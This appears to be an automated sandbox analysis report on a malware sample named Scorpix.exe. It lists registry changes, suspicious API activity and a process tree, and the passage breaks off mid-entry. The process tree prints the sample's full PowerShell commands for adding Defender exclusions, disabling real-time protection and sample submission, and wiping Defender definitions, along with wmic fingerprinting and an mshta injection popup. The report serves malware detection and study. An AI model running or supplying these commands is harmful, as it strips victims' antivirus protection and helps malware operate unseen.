Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\accessibilitycpl.dll,-45#immutable1 = "Make your computer easier to use."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\Vault.dll,-1#immutable1 = "Credential Manager"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\intl.cpl,-2#immutable1 = "Customize settings for the display of languages, numbers, times, and dates."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\main.cpl,-103#immutable1 = "Customize your keyboard settings, such as the cursor blink rate and the character repeat rate."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\inetcpl.cpl,-4313#immutable1 = "Configure your Internet display and connection settings."	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\ShowCmd = "1"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\main.cpl,-102#immutable1 = "Keyboard"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\netcenter.dll,-1#immutable1 = "Network and Sharing Center"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupByKey:PID = "0"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\HotKey = "0"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\FirewallControlPanel.dll,-12122#immutable1 = "Windows Defender Firewall"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\autoplay.dll,-2#immutable1 = "Change default settings for CDs, DVDs, and devices so that you can automatically play music, view pictures, install software, and play games."	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\RADCUI.dll,-15301#immutable1 = "Manage your RemoteApp and Desktop Connections"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\MinPos1280x720x96(1).x = "4294967295"	explorer.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Scorpix.zip:Zone.Identifier	chrome.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
6956	PING.EXE
6864	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
7028	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3044	chrome.exe
3044	chrome.exe
1468	chrome.exe
1468	chrome.exe
1468	chrome.exe
1468	chrome.exe
2616	powershell.exe
2616	powershell.exe
228	powershell.exe
228	powershell.exe
228	powershell.exe
2616	powershell.exe
3224	powershell.exe
3224	powershell.exe
3224	powershell.exe
6084	powershell.exe
6084	powershell.exe
6084	powershell.exe
6084	powershell.exe
844	powershell.exe
844	powershell.exe
5512	powershell.exe
5512	powershell.exe
844	powershell.exe
5512	powershell.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
6008	bound.exe
5828	powershell.exe
5828	powershell.exe
6072	powershell.exe
6072	powershell.exe
6400	powershell.exe
6400	powershell.exe
6644	powershell.exe
6644	powershell.exe
7080	powershell.exe
7080	powershell.exe
7360	powershell.exe
7360	powershell.exe
7844	powershell.exe
7844	powershell.exe
7880	powershell.exe
7880	powershell.exe
7880	powershell.exe
7880	powershell.exe
3108	powershell.exe
3108	powershell.exe
3108	powershell.exe
7312	powershell.exe
7312	powershell.exe
3900	powershell.exe
3900	powershell.exe
7312	powershell.exe
7312	powershell.exe
1784	powershell.exe
1784	powershell.exe
3900	powershell.exe
1784	powershell.exe
7600	bound.exe
7600	bound.exe
7600	bound.exe
7600	bound.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3236	Taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
5652	chrome.exe
5652	chrome.exe
5652	chrome.exe
5652	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe
Token: SeShutdownPrivilege	3044	chrome.exe
Token: SeCreatePagefilePrivilege	3044	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe
3236	Taskmgr.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3832	OpenWith.exe
2080	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2896	3044	chrome.exe	87
PID 3044 wrote to memory of 2896	3044	chrome.exe	87
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 2928	3044	chrome.exe	88
PID 3044 wrote to memory of 3184	3044	chrome.exe	89
PID 3044 wrote to memory of 3184	3044	chrome.exe	89
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90
PID 3044 wrote to memory of 2196	3044	chrome.exe	90

Views/modifies file attributes 1 TTPs 6 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5948	attrib.exe
7328	attrib.exe
1872	attrib.exe
3060	attrib.exe
6064	attrib.exe
5788	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Executor\Scorpix AI\Scorpix AI\AI.py"
1⤵
- Modifies registry class
PID:2516

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:3832

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe8726cc40,0x7ffe8726cc4c,0x7ffe8726cc58
  2⤵
  PID:2896
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1828,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=1824 /prefetch:2
  2⤵
  PID:2928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1796,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=1868 /prefetch:3
  2⤵
  PID:3184
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2208,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=2220 /prefetch:8
  2⤵
  PID:2196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3076,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3168 /prefetch:1
  2⤵
  PID:4728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3148,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3276 /prefetch:1
  2⤵
  PID:1560
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3560,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3520 /prefetch:1
  2⤵
  PID:3404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4636,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4720 /prefetch:8
  2⤵
  PID:756
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4152,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4904 /prefetch:8
  2⤵
  PID:1460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4412,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4732 /prefetch:1
  2⤵
  PID:4788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=872,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3376 /prefetch:1
  2⤵
  PID:4256
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4888,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3068 /prefetch:1
  2⤵
  PID:2640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4720,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4560 /prefetch:8
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=4724,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=5124 /prefetch:1
  2⤵
  PID:4072
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5280,i,11126979096157152266,6432444390103450787,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3544 /prefetch:8
  2⤵
  - NTFS ADS
  PID:3456

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"
1⤵
PID:2200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4632

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4916

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:200

C:\Windows\System32\oobe\UserOOBEBroker.exe
C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:3312

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
1⤵
- System Location Discovery: System Language Discovery
PID:388

C:\Users\Admin\Desktop\Release of V3\Scorpix.exe
"C:\Users\Admin\Desktop\Release of V3\Scorpix.exe"
1⤵
PID:4220
- C:\Users\Admin\Desktop\Release of V3\Scorpix.exe
  "C:\Users\Admin\Desktop\Release of V3\Scorpix.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  PID:1804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Release of V3\Scorpix.exe'"
    3⤵
    PID:3240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Release of V3\Scorpix.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:2064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    PID:2396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    PID:3900
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      PID:1920
    - - C:\Users\Admin\AppData\Local\Temp\bound.exe
        
        bound.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:6008
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        6⤵
        
        PID:5200
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        6⤵
        
        PID:5440
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        7⤵
        
        PID:5592
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        6⤵
        
        PID:5480
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        7⤵
        Detects videocard installed
        
        PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Injected', 0, 'Message', 48+16);close()""
    3⤵
    PID:2536
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Injected', 0, 'Message', 48+16);close()"
      4⤵
      PID:4116
- - C:\Windows\system32\cmd.exe
